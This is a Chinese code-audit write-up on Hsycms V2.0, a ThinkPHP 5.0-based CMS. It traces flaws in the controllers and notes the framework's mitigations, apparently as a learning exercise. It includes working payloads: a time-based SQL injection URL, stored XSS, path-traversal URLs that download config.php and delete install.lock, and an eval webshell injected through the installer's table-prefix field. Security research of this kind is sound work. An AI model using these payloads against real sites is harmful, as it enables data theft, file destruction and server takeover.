代码审计之某cms V2.0
2019-07-29 10:10:00 Author: xz.aliyun.com(查看原文) 阅读量:156 收藏

最近几天在入门ThinkPHP5.1,然后随缘找了一个CMS 来练练手。于是找到了Hsycms,发现是基于ThinkPHP5.0开发的,问题不大,说不定有其他收获。但说起HSY,就不得不说到CTF男子天团K&K……

审计过程

首先看index模块里面的公共函数,发现prevNext函数里面where方法查询的条件是字符串,并且里面有变量

全局搜一下发现app\index\controller\Show.php里面的index方法调用了这个函数。

反向跟一下发现变量id是可控的,于是可以造成了SQL注入

漏洞利用

首先看一下路由

查进数据库查一下entitle

构造payload:
/news/151) and if(#inject#,sleep(1),1) and ( 1=1

小结

where方法使用字符串条件时,若条件里面有可控变量应该配合预处理机制确保更加安全。

字符串条件
使用字符串条件直接查询和操作,例如:
Db::table('think_user')->where('type=1 AND status=1')->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE type=1 AND status=1
使用字符串条件的时候,建议配合预处理机制,确保更加安全,例如:
Db::table('think_user')->where("id=:id and username=:name")->bind(['id'=>[1,\PDO::PARAM_INT],'name'=>'thinkphp'])->select();
via:ThinkPHP5.0完全开发手册

审计过程

app/index/controller/Show.php中的sendemail方法

这里接收POST的数据就直接添加进数据库。

在后台app/hsycms/controller/Site.php这个控制器中,是直接取出然后模板赋值。

模板:app/hsycms/view/site/book.html

可以无论是控制器或是模板文件都没有对的数据进行过滤,这里就可以造成XSS

漏洞利用

提交留言

后台触发

小结

模板的变量输出中,ThinkPHP5.05.1处理的方法不一样

  • 在ThinkPHP5.0,对模板变量是直接输出。
  • 在ThinkPHP5.1,使用htmlentities函数对模板变量处理后输出。

变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo($name);?>!

via:ThinkPHP5.0完全开发手册

变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo htmlentities($name);?>!
via:ThinkPHP5.1完全开发手册

审计过程

app/hsycms/controller/Database.phpdownloadsql方法

这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件下载

漏洞利用

构造payload:

/index.php/hsycms/database/downloadsql/?name=/../../app/config.php

任意文件删除(后台)

审计过程

app/hsycms/controller/Database.phpdelsql方法

这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件删除

漏洞利用

构造payload:
/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock

写配置文件Getshell

审计过程


app/install/controller/Index.php中,首先是config方法,对传进去的db数组写进了session。之后是进入了sql方法。
在sql方法中,session中的'db_config赋值dbconfig变量,然后传进了write_config函数,跟进app/install/common.php,可以看到只是对配置模板做简单的替换,于是造成写配置文件Getshell

漏洞利用

顺利Getshell

在数据库名称这里构造一句话进行写shell。

道路通常是曲折的

在最初审计时,不由自主地在数据表前缀这里构造一句话写shell,于是就差点写shel失败。
仔细看了看发现如果要写入配置成功,那在write_config()之前是不能报错的。

而如果想在数据表前缀这里构造一句话写shell,经过测试发现,在执行到register_administrator(),如果不结合这里的SQL语句进构造,在执行时会报错。

update `[PREFIX]user` set password='[PASS]' where username='admin';

进库的时候是这样的

update `sy_',@eval($_POST['p']),#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'

奈何技术尚浅,尝试一段时间后发现可以构造以下payload。

sy_user` set password=1 or '.@eval($_POST["q"]).'#


进库的时候是这样的

update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'

成功Getshell

由于是第一次审计MVC框架开发的CMS就写得有点详细(luosuo),若有错误之处,还请各位师傅斧正。
经过这次审计练习后,收获还是挺多的。

  • 在使用where方法对数据库查询是,使用字符串条件是直接拼接SQL语句的。
  • ThinkPHP5.0在模板的变量输出中是直接输出,而在ThinkPHP5.1中是会经过htmlentities函数对模板变量处理后输出。

文章来源: http://xz.aliyun.com/t/5770
如有侵权请联系:admin#unsafe.sh